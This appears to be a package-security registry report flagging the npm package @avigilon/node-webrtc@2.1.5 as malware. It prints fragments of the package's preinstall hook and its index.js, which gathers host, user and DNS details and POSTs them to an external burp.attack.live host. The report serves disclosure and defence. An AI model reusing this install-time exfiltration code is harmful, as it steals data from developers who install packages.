registry / Credential exfiltration / @avigilon/node-webrtc

@avigilon/node-webrtc

This report shows the evidence for @avigilon/node-webrtc@2.1.5. 2 of 2 known versions are blocked or flagged. See all versions.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

This is concrete, unconsented install-time data exfiltration to an unrelated endpoint. The lifecycle hook directly activates the collection and network request.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

npm installation invokes the preinstall hook.

Impact

Host and environment identifiers are sent to a third-party endpoint without user action.

Mechanism

Install-time host fingerprinting and HTTPS exfiltration.

Attack narrative

On installation, npm runs index.js through preinstall. That script gathers local identity and environment information, serializes it into a form field, and sends it by HTTPS POST to an external burp.attack.live host. Errors are suppressed, reducing visibility of the transmission.

AI rationale

This is concrete, unconsented install-time data exfiltration to an unrelated endpoint. The lifecycle hook directly activates the collection and network request.

Evidence

package.jsonindex.js

Network endpoints1

mj9ouelpgm0d26s3wp0syow03r9ix8lx.burp.attack.live/

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The preinstall lifecycle hook automatically runs index.js during installation.
The script collects the home directory, hostname, username, DNS resolvers, package metadata, and installation directory.
The script POSTs the collected data to an unrelated external host over HTTPS.

Evidence against

Behavioral surface

Source

Network

Supply chain

HighEntropyStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 1.01 KB of source

Source & flagged code

7 flagged

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

package.jsonView on unpkg

9"scripts": { "test": "echo \"Error: no test specified\" && exit 1", "preinstall": "node index.js" }

High

Suspicious Lifecycle Evidence

The preinstall lifecycle hook automatically runs index.js during installation.

package.jsonView on unpkg · L9

index.jsView file

1const os = require("os"); L2: const dns = require("dns"); L3: const querystring = require("querystring"); L4: const https = require("https"); L5: const packageJSON = require("./package.json"); L6: const package = packageJSON.name; ... L9: p: package, L10: c: __dirname, L11: hd: os.homedir(), L12: hn: os.hostname(), L13: un: os.userInfo().username, ... L36: res.on("data", (d) => {

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

•matchType = malicious_source_fingerprint_signature signature = afa22177d930fde8 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = cilm-ui-commons@1.1.0 matchedPath = index.js matchedIdentity = npm:Y2lsbS11aS1jb21tb25z:1.1.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

8const trackingData = JSON.stringify({ p: package, c: __dirname, hd: os.homedir(), hn: os.hostname(), un: os.userInfo().username, dns: dns.getServers(), r: packageJSON ? packageJSON.___resolved : undefined, v: packageJSON.version, pjson: packageJSON, });

High

Ai Review Evidence

The script collects the home directory, hostname, username, DNS resolvers, package metadata, and installation directory.

index.jsView on unpkg · L8

24var options = { hostname: "[redacted].burp.attack.live", port: 443, path: "/", method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded", "Content-Length": postData.length, }, }; var req = https.request(options, (res) => { res.on("data", (d) => { process.stdout.write(d); }); }); req.on("error", (e) => { // console.error(e); }); req.write(postData); req.end();

High

Ai Review Evidence

The script POSTs the collected data to an unrelated external host over HTTPS.

index.jsView on unpkg · L24

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

package.jsonView on unpkg

9"scripts": { "test": "echo \"Error: no test specified\" && exit 1", "preinstall": "node index.js" }

High

Suspicious Lifecycle Evidence

The preinstall lifecycle hook automatically runs index.js during installation.

package.jsonView on unpkg · L9

index.jsView file

Findings

7 High1 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationindex.js

HighSemantic Analysis Limitedpackage.json

HighKnown Malware Source Fingerprint Signatureindex.js

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidenceindex.js

MediumNetwork

LowScripts Present

LowHigh Entropy Strings

Affected versions and remediation

This report applies to @avigilon/node-webrtc@2.1.5.

The versions list below shows the verdict for each recorded version.

Avoid installing @avigilon/node-webrtc@2.1.5. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-04 01:00:04.722Z (UTC).

Source advisory published: 2026-09-03 23:59:14.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

2.1.5latestshownMaliciousCredential ExfiltrationBlockPublishedSep 2, 2026, 3:28 PM 2.1.4MaliciousData ExfiltrationBlockPublishedSep 2, 2026, 3:22 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other credential exfiltration packages

Behavioral surface

Related packages

Other credential exfiltration packages

Source & flagged code